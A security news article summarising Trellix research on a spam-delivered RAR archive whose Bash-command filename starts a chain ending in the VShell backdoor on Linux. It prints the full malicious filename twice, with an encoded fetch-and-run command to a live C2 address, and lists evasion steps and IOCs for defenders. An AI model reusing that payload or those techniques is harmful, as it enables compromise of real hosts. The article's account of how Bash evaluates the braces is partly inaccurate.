Stealth Threat Unpacked: Weaponized RAR Files Deliver VShell Backdoor on Linux Systems

Trellix Advanced Research Center has exposed an infection chain that weaponises nothing more than a filename to compromise Linux hosts.

A spam message masquerading as a beauty-product survey offers a small reward and carries a RAR archive, yy.rar. When unpacked, the archive drops a single file whose name is a miniature Bash program: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash

The braces exploit Bash’s “process expansion” syntax. Any unsanitised loop that enumerates filenames think for f in *; echo “$f” or an eval around an ls blindly evaluates the content inside the braces, echoing a Base64 blob, decoding it on the fly and piping the plaintext to bash.

No conventional executable bit or macro is necessary; a routine inventory script or log collector is enough to detonate the payload.

Establishes Architecture-Aware Foothold

The decoded Stage-1 script reaches out to 47.98.194.60:8084 and silently grabs a second Bash downloader.

Persistence is achieved by expanding PATH and probing writable directories such as /tmp, /usr/local/bin and /usr/libexec.

The script fingerprint’s the host’s CPU (x86_64, i386, armv7l, aarch64) and pulls the matching ELF loader, then invokes it with nohup in the background to survive session terminations.

Each copy attempt is wrapped in redirection to /dev/null, minimising forensic artefacts on disk.

The Stage-2 ELF loader, strongly associated with the Snowlight family, constructs an HTTP GET containing the host tag, architecture identifier and listening port, then collects an XOR-enciphered binary blob.

A single-byte key (0x99) is applied in memory, after which the program executes the resulting payload via fexecve(), keeping the backdoor off disk entirely. To avoid duplicate infections, a marker file /tmp/log_de.log is checked before launch.

Finally, the process’ argv is rewritten to mimic a benign kernel worker thread [kworker/0:2] enabling it to hide in plain sight during ps or top inspections.

VShell Backdoor Capabilities

The decrypted payload is VShell, a Go-based remote-access tool favoured by several Chinese APT crews. VShell provides interactive reverse shells, file upload/download, process listing and port-forwarding.

Its HTTP C2 channel is wrapped in custom XOR routines, and its binaries are compiled for multiple architectures, making the campaign equally dangerous to cloud servers, IoT appliances and development workstations.

According to the report, The campaign bypasses three traditional detection layers at once: antivirus engines rarely scan filenames, static scanners miss the de-obfuscation chain, and behavioural tools cannot flag execution until the filename is expanded.

Because many DevOps, backup and monitoring scripts iterate through directories without sanitising input, the technique weaponises the very transparency and flexibility that make Linux attractive.

Mitigation requires strict input sanitisation (e.g., printf ‘%q’ for filenames), the removal of eval from maintenance scripts, and monitoring for anomalous outbound HTTP requests from transient binaries in /tmp or /usr/local/bin. Security teams should also hunt for fake kernel threads and unusual uses of fexecve.

Indicators of Compromise

Indicator Type	Value
Archive SHA-256	5bde055523d3b5b10f002c5d881bed882e60fa47393dff41d155cab8b72fc5f4
Malicious Filename	ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash
Stage-1 Script SHA-256	8ef56b48ac164482dddf6a80f7367298d7b4d21be3aadf0ee1d82d63e3ac0c0a
Stage-2 ELF SHA-256	72702d6ddb671dc75e2ee6caf15f98b752df6125a43dae71cda35d305d989cf4
Stage-2 ELF SHA-256	5712d8a629d607c86a9d094dd24b4747b212d5a37b68ad7f10a84dd601fac751
Stage-2 ELF SHA-256	dd1b1e6d548b32a3cde72418f1fb77353e42142676266641a9bb12447303e871
Stage-2 ELF SHA-256	69e9eabfd18445352ece9383be55077cdb5bfb790a30a86758bc5249ff6b45bb
VShell SHA-256	73000ab2f68ecf2764af133d1b7b9f0312d5885a75bf4b7e51cd7b906b36e2d4
C2 IP	47.98.194.60

Find this News Interesting! Follow us on Google News, LinkedIn, and X to Get Instant Updates!